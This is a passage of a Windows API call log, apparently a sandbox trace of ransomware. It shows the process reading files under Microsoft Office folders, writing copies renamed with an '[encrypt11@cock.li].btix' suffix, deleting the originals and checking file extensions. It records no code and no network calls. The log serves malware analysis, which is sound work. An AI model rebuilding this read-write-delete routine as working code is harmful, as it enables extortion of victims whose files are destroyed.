returned 1 [0156.268] ReadFile (in: hFile=0x374, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.268] WriteFile (in: hFile=0x368, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x108, lpOverlapped=0x0) returned 1 [0156.268] SetEndOfFile (hFile=0x368) returned 1 [0156.268] CloseHandle (hObject=0x368) returned 1 [0156.268] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.268] SetEndOfFile (hFile=0x374) returned 1 [0156.269] CloseHandle (hObject=0x374) returned 1 [0156.269] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\blademexicanvolkswagen.exe.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0156.269] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\blademexicanvolkswagen.exe" (normalized: "c:\\program files\\microsoft office\\blademexicanvolkswagen.exe")) returned 1 [0156.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\blademexicanvolkswagen.exe") returned 60 [0156.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\blademexicanvolkswagen.exe") returned 60 [0156.270] lstrlenW (lpString=".doc") returned 4 [0156.270] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0156.270] lstrlenW (lpString=".docx") returned 5 [0156.270] lstrcmpiW (lpString1=".docx", lpString2="n.exe") returned -1 [0156.270] lstrlenW (lpString=".pdf") returned 4 [0156.270] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0156.270] lstrlenW (lpString=".xls") returned 4 [0156.270] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0156.270] lstrlenW (lpString=".xlsx") returned 5 [0156.270] lstrcmpiW (lpString1=".xlsx", lpString2="n.exe") returned -1 [0156.270] lstrlenW (lpString=".ppt") returned 4 [0156.270] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0156.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\blademexicanvolkswagen.exe") returned 60 [0156.270] lstrlenW (lpString=".zip") returned 4 [0156.270] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0156.270] lstrlenW (lpString=".rar") returned 4 [0156.270] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0156.270] lstrlenW (lpString=".bz2") returned 4 [0156.270] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0156.270] lstrlenW (lpString=".7z") returned 3 [0156.271] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0156.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\blademexicanvolkswagen.exe") returned 60 [0156.271] lstrlenW (lpString=".dbf") returned 4 [0156.271] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0156.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\blademexicanvolkswagen.exe") returned 60 [0156.271] lstrlenW (lpString=".1cd") returned 4 [0156.271] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0156.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\blademexicanvolkswagen.exe") returned 60 [0156.271] lstrlenW (lpString=".jpg") returned 4 [0156.271] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0156.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\blademexicanvolkswagen.exe") returned 60 [0156.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\blademexicanvolkswagen.exe") returned 60 [0156.271] lstrlenW (lpString=".doc") returned 4 [0156.271] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0156.271] lstrlenW (lpString=".docx") returned 5 [0156.271] lstrcmpiW (lpString1=".docx", lpString2="n.exe") returned -1 [0156.271] lstrlenW (lpString=".pdf") returned 4 [0156.271] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0156.271] lstrlenW (lpString=".xls") returned 4 [0156.271] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0156.271] lstrlenW (lpString=".xlsx") returned 5 [0156.271] lstrcmpiW (lpString1=".xlsx", lpString2="n.exe") returned -1 [0156.271] lstrlenW (lpString=".ppt") returned 4 [0156.271] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0156.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\blademexicanvolkswagen.exe") returned 60 [0156.271] lstrlenW (lpString=".zip") returned 4 [0156.271] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0156.271] lstrlenW (lpString=".rar") returned 4 [0156.271] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0156.271] lstrlenW (lpString=".bz2") returned 4 [0156.271] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0156.271] lstrlenW (lpString=".7z") returned 3 [0156.271] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0156.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\blademexicanvolkswagen.exe") returned 60 [0156.271] lstrlenW (lpString=".dbf") returned 4 [0156.272] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0156.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\blademexicanvolkswagen.exe") returned 60 [0156.272] lstrlenW (lpString=".1cd") returned 4 [0156.439] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0156.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\blademexicanvolkswagen.exe") returned 60 [0156.439] lstrlenW (lpString=".jpg") returned 4 [0156.439] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0156.439] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0156.439] lstrlenW (lpString="api-ms-win-crt-convert-l1-1-0.dll") returned 33 [0156.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0157.110] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=22720) returned 1 [0157.110] CloseHandle (hObject=0x2fc) returned 1 [0157.110] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll")) returned 0x220 [0157.111] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0157.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0157.111] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.111] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0157.112] GetLastError () returned 0x0 [0157.112] ReadFile (in: hFile=0x2fc, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x58c0, lpOverlapped=0x0) returned 1 [0157.113] WriteFile (in: hFile=0x364, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x58d0, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x58d0, lpOverlapped=0x0) returned 1 [0157.114] ReadFile (in: hFile=0x2fc, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.114] WriteFile (in: hFile=0x364, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x116, lpOverlapped=0x0) returned 1 [0157.115] SetEndOfFile (hFile=0x364) returned 1 [0157.117] CloseHandle (hObject=0x364) returned 1 [0157.117] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.117] SetEndOfFile (hFile=0x2fc) returned 1 [0157.118] CloseHandle (hObject=0x2fc) returned 1 [0157.118] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0157.118] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll")) returned 1 [0157.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned 79 [0157.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned 79 [0157.118] lstrlenW (lpString=".doc") returned 4 [0157.118] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0157.118] lstrlenW (lpString=".docx") returned 5 [0157.118] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0157.118] lstrlenW (lpString=".pdf") returned 4 [0157.118] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0157.118] lstrlenW (lpString=".xls") returned 4 [0157.118] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0157.118] lstrlenW (lpString=".xlsx") returned 5 [0157.118] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0157.118] lstrlenW (lpString=".ppt") returned 4 [0157.118] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0157.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned 79 [0157.118] lstrlenW (lpString=".zip") returned 4 [0157.118] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0157.119] lstrlenW (lpString=".rar") returned 4 [0157.119] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0157.119] lstrlenW (lpString=".bz2") returned 4 [0157.119] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0157.119] lstrlenW (lpString=".7z") returned 3 [0157.119] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0157.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned 79 [0157.119] lstrlenW (lpString=".dbf") returned 4 [0157.119] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0157.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned 79 [0157.119] lstrlenW (lpString=".1cd") returned 4 [0157.119] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0157.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned 79 [0157.119] lstrlenW (lpString=".jpg") returned 4 [0157.119] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0157.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned 79 [0157.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned 79 [0157.119] lstrlenW (lpString=".doc") returned 4 [0157.119] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0157.119] lstrlenW (lpString=".docx") returned 5 [0157.119] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0157.119] lstrlenW (lpString=".pdf") returned 4 [0157.119] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0157.119] lstrlenW (lpString=".xls") returned 4 [0157.119] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0157.119] lstrlenW (lpString=".xlsx") returned 5 [0157.119] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0157.119] lstrlenW (lpString=".ppt") returned 4 [0157.119] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0157.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned 79 [0157.119] lstrlenW (lpString=".zip") returned 4 [0157.119] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0157.119] lstrlenW (lpString=".rar") returned 4 [0157.119] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0157.120] lstrlenW (lpString=".bz2") returned 4 [0157.120] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0157.120] lstrlenW (lpString=".7z") returned 3 [0157.120] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0157.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned 79 [0157.120] lstrlenW (lpString=".dbf") returned 4 [0157.120] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0157.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned 79 [0157.120] lstrlenW (lpString=".1cd") returned 4 [0157.120] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0157.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned 79 [0157.120] lstrlenW (lpString=".jpg") returned 4 [0157.120] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0157.120] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0157.120] lstrlenW (lpString="api-ms-win-crt-runtime-l1-1-0.dll") returned 33 [0157.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0157.121] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=23232) returned 1 [0157.121] CloseHandle (hObject=0x2fc) returned 1 [0157.121] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll")) returned 0x220 [0157.121] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0157.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0157.121] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.121] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0157.122] GetLastError () returned 0x0 [0157.122] ReadFile (in: hFile=0x2fc, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x5ac0, lpOverlapped=0x0) returned 1 [0157.124] WriteFile (in: hFile=0x364, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x5ad0, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x5ad0, lpOverlapped=0x0) returned 1 [0157.125] ReadFile (in: hFile=0x2fc, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.125] WriteFile (in: hFile=0x364, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x116, lpOverlapped=0x0) returned 1 [0157.125] SetEndOfFile (hFile=0x364) returned 1 [0157.125] CloseHandle (hObject=0x364) returned 1 [0157.125] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.125] SetEndOfFile (hFile=0x2fc) returned 1 [0157.126] CloseHandle (hObject=0x2fc) returned 1 [0157.126] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0157.126] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll")) returned 1 [0157.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll") returned 79 [0157.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll") returned 79 [0157.127] lstrlenW (lpString=".doc") returned 4 [0157.127] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0157.127] lstrlenW (lpString=".docx") returned 5 [0157.127] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0157.127] lstrlenW (lpString=".pdf") returned 4 [0157.127] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0157.127] lstrlenW (lpString=".xls") returned 4 [0157.127] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0157.127] lstrlenW (lpString=".xlsx") returned 5 [0157.127] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0157.127] lstrlenW (lpString=".ppt") returned 4 [0157.127] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0157.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll") returned 79 [0157.127] lstrlenW (lpString=".zip") returned 4 [0157.127] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0157.127] lstrlenW (lpString=".rar") returned 4 [0157.127] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0157.127] lstrlenW (lpString=".bz2") returned 4 [0157.127] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0157.127] lstrlenW (lpString=".7z") returned 3 [0157.127] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0157.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll") returned 79 [0157.127] lstrlenW (lpString=".dbf") returned 4 [0157.127] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0157.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll") returned 79 [0157.127] lstrlenW (lpString=".1cd") returned 4 [0157.127] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0157.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll") returned 79 [0157.127] lstrlenW (lpString=".jpg") returned 4 [0157.127] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0157.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll") returned 79 [0157.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll") returned 79 [0157.128] lstrlenW (lpString=".doc") returned 4 [0157.128] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0157.128] lstrlenW (lpString=".docx") returned 5 [0157.128] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0157.128] lstrlenW (lpString=".pdf") returned 4 [0157.128] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0157.128] lstrlenW (lpString=".xls") returned 4 [0157.128] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0157.128] lstrlenW (lpString=".xlsx") returned 5 [0157.128] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0157.128] lstrlenW (lpString=".ppt") returned 4 [0157.128] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0157.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll") returned 79 [0157.128] lstrlenW (lpString=".zip") returned 4 [0157.128] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0157.128] lstrlenW (lpString=".rar") returned 4 [0157.128] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0157.128] lstrlenW (lpString=".bz2") returned 4 [0157.128] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0157.128] lstrlenW (lpString=".7z") returned 3 [0157.128] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0157.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll") returned 79 [0157.128] lstrlenW (lpString=".dbf") returned 4 [0157.128] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0157.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll") returned 79 [0157.128] lstrlenW (lpString=".1cd") returned 4 [0157.128] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0157.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll") returned 79 [0157.128] lstrlenW (lpString=".jpg") returned 4 [0157.128] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0157.129] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0157.129] lstrlenW (lpString="api-ms-win-crt-stdio-l1-1-0.dll") returned 31 [0157.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0157.129] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=24768) returned 1 [0157.129] CloseHandle (hObject=0x2fc) returned 1 [0157.129] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll")) returned 0x220 [0157.129] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0157.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0157.129] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.130] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0157.130] GetLastError () returned 0x0 [0157.130] ReadFile (in: hFile=0x2fc, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x60c0, lpOverlapped=0x0) returned 1 [0157.132] WriteFile (in: hFile=0x364, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x60d0, lpOverlapped=0x0) returned 1 [0157.133] ReadFile (in: hFile=0x2fc, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.133] WriteFile (in: hFile=0x364, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x112, lpOverlapped=0x0) returned 1 [0157.133] SetEndOfFile (hFile=0x364) returned 1 [0157.134] CloseHandle (hObject=0x364) returned 1 [0157.134] SetFilePointerEx (in: 